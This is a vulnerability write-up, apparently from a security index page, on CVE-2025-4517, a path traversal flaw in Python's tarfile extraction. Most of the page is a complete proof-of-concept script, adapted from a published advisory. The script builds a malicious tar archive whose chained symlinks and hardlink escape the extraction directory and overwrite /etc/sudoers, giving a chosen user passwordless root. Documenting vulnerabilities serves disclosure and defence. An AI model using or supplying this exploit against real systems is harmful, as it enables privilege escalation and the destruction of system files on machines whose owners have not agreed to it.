# CVE-2025-4517 - Python Tar

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-4517
- **CVE:** CVE-2025-4517
- **GHSA:** GHSA-hgqp-3mmf-7h8f
- **CVSS score:** 9.4
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
- **Type:** CWE-22
- **Complexity:** Low
- **Privileges:** None
- **Published:** 2026-02-22
- **Updated:** 2026-02-26

CVE-2025-4517 is a vulnerability in Python’s `tarfile` module where using `TarFile.extractall()` or `TarFile.extract()` on an untrusted `.tar` archive can be abused for **path traversal**, letting an attacker write files **outside the intended extraction directory**, potentially overwriting arbitrary files and leading to compromise depending on what gets overwritten.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Overwrite files (sudoers)

For this example we are gonna exploit the tar.extractall() / tar.extract() function to overwrite sudoers file for our user to gain root permissions.

> [!WARNING]
> This example will fully overwrite /etc/sudoers. Make sure to backup this file to prevent your sudoers to go corrupt.

Example of vulnerable code we will be exploiting:

```python
import tarfile

with tarfile.open("poc.tar", "r") as tar:
  tar.extractall(path="example", filter="data")
```

We will be making a modified version of the Google POC

**[google/security-research - GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f)** - Python - Tarfile Realpath Overflow Vulnerability

In our case we would like most of the original part but only overwrite a file like:

```python
import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("poc.tar", mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)
    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    tar.addfile(e)
    # use the symlinks above, that are not checked, to create a hardlink
    # to a file outside of the destination path
    f = tarfile.TarInfo("flaglink")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)
    # now that we have the hardlink we can overwrite the file
    content = b"newroot ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("flaglink")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))
```

This will overwrite the /etc/sudoers file to

```yaml
newroot ALL=(ALL) NOPASSWD: ALL
```

Giving our user 'newroot', full root access to the machine.
